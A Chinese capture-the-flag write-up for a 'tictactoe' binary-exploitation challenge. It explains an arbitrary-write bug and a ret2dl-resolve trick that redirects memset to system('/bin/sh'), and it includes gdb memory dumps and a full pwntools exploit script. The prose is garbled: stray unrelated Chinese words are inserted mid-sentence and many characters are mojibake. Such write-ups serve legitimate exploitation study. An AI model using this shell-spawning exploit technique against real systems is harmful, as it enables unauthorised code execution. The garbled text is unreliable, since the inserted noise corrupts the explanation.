這題跟tictactoe-1一樣,只不過要getshell掷酗,但是漏洞還是一樣的御铃,可以任意地址寫
任意地址寫
我們可以先修改0x0804B048處的值讓我們可以進(jìn)行9次任意地址寫
.init_array
這里有個(gè)小細(xì)節(jié),由于程序開始會(huì)調(diào)用.init_array里的函數(shù) 結(jié)束會(huì)調(diào)用.fini_array里的肚豺,我們發(fā)現(xiàn).init_array有個(gè)sub_80486AB函數(shù)签赃,大概就是讓0x804A000-0x804B000地址段的內(nèi)容可讀可寫叫榕,觀察這個(gè)地址段的內(nèi)容,我們發(fā)現(xiàn)存的是DT_SYMTAB之類的地址姊舵,所以我們可以用ret2dl_solve來做
sub_80486AB
這里主要修改DT_STRTAB的地址,再將0x0804B048地址處的內(nèi)容寫成'/bin/sh\x00'寓落,當(dāng)執(zhí)行到memset的時(shí)候去執(zhí)行system('/bin/sh\x00')來getshell
LOAD
我們將原本存放DT_STRTAB地址的地方修改成距離system字符串68處括丁,這樣當(dāng)執(zhí)行memset函數(shù)去DT_STRTAB查找memset時(shí)就會(huì)運(yùn)行system函數(shù)
gef? x/10wx 0x0804AF58
0x804af58: 0x080482f8 0x00000006 0x080481d8 0x0000000a
0x804af68: 0x000000bc 0x0000000b 0x00000010 0x00000015
0x804af78: 0xf77c7904 0x00000003
gef? x/s 0x080482f8+68
0x804833c: "memset"
gef? x/s 0x8049fc8 + 68
0x804a00c: "system"
當(dāng)我們寫system函數(shù)的參數(shù)時(shí),要注意這里每次都會(huì)取反伶选,所以我們?cè)诘谄鏀?shù)次的時(shí)候來進(jìn)行參數(shù)的改寫史飞,這樣最后我們的參數(shù)就還是我們輸入時(shí)候的參數(shù)
完整exp:
from pwn import *
p = process('./tictactoe')
#p = remote('hackme.inndy.tw',7714)
elf = ELF('./tictactoe')
#context.log_level = 'debug'
def write(addr,val):
p.sendlineafter('flavor): ','9')
p.sendline(val)
offset = addr - 0x804B056
p.sendlineafter('flavor): ',str(offset))
p.sendlineafter('(2)nd? ','1')
strtab_addr = 0x0804AF58
sh_addr = 0x0804B048
bss = 0x0804B069
#system - 68 = 0x8049fc8
#sh = '\x73\x68'
#gdb.attach(p,'b *' + str(0x08048D03))
#raw_input("go : ")
write(0x0804B048,'\x50') #control write #0
write(sh_addr,'\x73') #1
write(strtab_addr,'\xc8') #2
write(sh_addr+1,'\x68') #3
write(strtab_addr+1,'\x9f') #4
write(sh_addr+2,'\x00') #5
#填充9次寫從而退出循環(huán)執(zhí)行memset(&who_play, 0, 0x18u);
write(bss+0x100,'\x00') #6
write(sh_addr+3,'\x00') #7
write(bss+0x100,'\x00') #8
p.interactive()